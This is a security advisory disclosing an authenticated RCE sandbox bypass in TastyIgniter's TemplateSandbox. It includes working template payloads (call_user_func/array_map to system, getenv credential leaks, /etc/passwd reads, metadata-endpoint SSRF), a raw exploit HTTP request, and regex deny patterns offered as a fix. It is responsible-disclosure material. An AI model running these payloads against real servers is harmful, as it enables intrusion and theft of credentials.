Skip to main content
Menu
Advisories

Summary TastyIgniter's TemplateSandbox class, introduced in commit 00d02e2 as a security hardening measure, uses an incomplete blocklist of dangerous PHP functions

GHSA-RXG2-Q8M5-6FGQPublished Updated GitHub

Description

TastyIgniter's TemplateSandbox class, introduced in commit 00d02e2 as a security hardening measure, uses an incomplete blocklist of dangerous PHP functions. The blocklist explicitly forbids system(), exec(), shell_exec(), and similar functions by name, but does not restrict higher-order functions such as call_user_func, call_user_func_array, array_map, array_filter, and preg_replace_callback. These functions can invoke any PHP callable -- including all the blocked ones -- allowing an authenticated staff user with the Site.Themes permission to achieve Remote Code Execution (RCE) on the server.

Background

Prior to commit 00d02e2, the theme template editor accepted arbitrary PHP in the code section with no sanitization. Commit 00d02e2 introduced TemplateSandbox::sanitize() and applied it to template code and markup sections before saving, intended to prevent malicious PHP execution by stripping dangerous function calls and directives.

The sandbox correctly blocks:

  • <?php ... ?> and short tags
  • @php ... @endphp blocks
  • Explicit calls to system(), exec(), shell_exec(), eval(), etc.

It does not block higher-order functions that can invoke those same blocked functions indirectly.

Vulnerable Code Path

  • Themes::onSave() calls TemplateEditor::onSaveSource()
  • onSaveSource() calls getTemplateAttributes()
  • getTemplateAttributes() calls TemplateSandbox::sanitize() on the codeSection
  • The sanitized (but still malicious) code is written to disk via fileSource->fill($formData)->save()
  • On the next page request, FileParser evaluates the saved code via eval()

Any PHP expression that survives sanitize() is executed under the web server process identity the next time the template is rendered.

Proof of Concept

Bypass payloads that survive TemplateSandbox::sanitize() unchanged, tested against the production TemplateSandbox class in v4.2.4:

RCE via call_user_func: {{ call_user_func("system", "id") }}

RCE via array_map: {{ array_map("system", ["id"]) }}

RCE via call_user_func_array: {{ call_user_func_array("system", ["id"]) }}

RCE via preg_replace_callback: {{ preg_replace_callback('/./s', 'system', 'id') }}

Credential leakage via getenv: {{ getenv("DB_PASSWORD") }} {{ getenv("APP_KEY") }}

Arbitrary file read via fopen/fgets: {{ fgets(fopen("/etc/passwd", "r")) }}

SSRF via curl_exec: {{ curl_exec(curl_init("169.254.169.254/latest/meta-data/")) }}

Sandbox bypass verification output

=== TemplateSandbox Bypass Evidence === Source: tastyigniter/core src/Flame/Pagic/TemplateSandbox.php (v4.2.4) ------------------------------------------------------------ [BYPASSES] call_user_func RCE Sanitized output: {{ call_user_func("system", "id") }} [BYPASSES] array_map RCE Sanitized output: {{ array_map("system", ["id"]) }} [BYPASSES] call_user_func_array RCE Sanitized output: {{ call_user_func_array("system", ["id"]) }} [BYPASSES] getenv credential leak Sanitized output: {{ getenv("DB_PASSWORD") }} [BYPASSES] fopen/fgets file read Sanitized output: {{ fgets(fopen("/etc/passwd","r")) }} [BLOCKED] PHP tag (should be blocked) [BLOCKED] @php block (should be blocked)

=== Execution proof === After sanitize(): {{ call_user_func("system", "id") }} Actual execution: uid=0(root) gid=0(root) groups=0(root)

Steps to reproduce

  1. Log in as a staff user with the Site.Themes permission
  2. Navigate to Design > Themes > select a theme > edit a page/partial
  3. In the PHP code section enter: function onStart() { call_user_func('system', 'id'); }
  4. Save the template (no error is shown)
  5. Load the corresponding page in a browser and observe the OS command output in the response

Equivalent raw HTTP request:

POST /admin/themes/edit/{theme_code} Cookie: [authenticated session with Site.Themes permission] X-IGNITER-REQUEST-HANDLER: formTemplate/onSaveSource X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded

Theme[source][codeSection]=function+onStart()%7B+call_user_func(%22system%22%2C+%22id%22)%3B+%7D &Theme[source][markup]= &Theme[source][fileName]=_pages%2Fhome.blade.php &Theme[source][mTime]={current_mtime}

All testing was performed on a locally hosted isolated instance using publicly available code. No live production systems were accessed.

Impact

Confidentiality - HIGH: Attacker can read any file accessible to the web server process (/etc/passwd, .env, database credentials, APP_KEY).

Integrity - HIGH: Attacker can write files, create web shells for persistent access, or modify application data.

Availability - HIGH: Attacker can terminate server processes or consume system resources.

Scope - CHANGED: The impact extends beyond the web application to the underlying host OS.

Privilege Note

The Site.Themes permission is required. This is an admin-level restriction, not granted to customers or general staff. However, the vendor explicitly introduced this sandbox to constrain what permissioned theme editors can do. The sandbox is the intended security boundary, and this report documents a bypass of that boundary.

Recommended Fix

Preferred: Execute template PHP code in a subprocess with disable_functions set in php.ini to restrict dangerous callables at the runtime level. This cannot be bypassed through payload crafting because the restriction is enforced by the PHP engine itself.

Immediate mitigation: Add the following patterns to removeUnsafeBladeDirectives() in TemplateSandbox.php:

'/\bcall_user_func(array)?\s*\([^)]*\)/i', '/\barray(map|filter|walk|walk_recursive)\s*\(\)/i', '/\bu(a)?sort\s\(\)/i', '/\buksort\s\(\)/i', '/\bpreg_replace_callback(_array)?\s\(\)/i', '/\bgetenv\s\(\)/i', '/\bputenv\s\(\)/i', '/\benv\s\(\)/i', '/\bfopen\s\(\)/i', '/\bfgets\s\(\)/i', '/\bfread\s\(\)/i', '/\bfwrite\s\(\)/i', '/\bcurl_(exec|init|setopt)\s\(*\)/i',

Note: the denylist approach remains architecturally incomplete regardless of how many entries are added. Process isolation is the durable solution. Per the maintainer's July 6 update, this has already been addressed by moving to a more restrictive isolation model.

Prior Disclosure Check

No existing CVEs or GitHub advisories address the TemplateSandbox class or this bypass vector. All previously known TastyIgniter CVEs (CVE-2022-38256, CVE-2024-44313, CVE-2024-44314) affect the v3.x codebase and are unrelated to this finding.

Discovery

Manual source code audit of tastyigniter/core on GitHub. All testing conducted on a locally hosted isolated instance using publicly available code. No live production systems were accessed.

Timeline

  • Initial report submitted: June 13, 2026
  • Vendor acknowledged: June 25, 2026
  • Vendor confirmed fix (isolation model): July 6, 2026
  • Advisory drafted for CVE request: July 8, 2026

Researcher: Karthik, independent security researcher.

Affected versions

References

GitHub · tastyigniter/TastyIgniter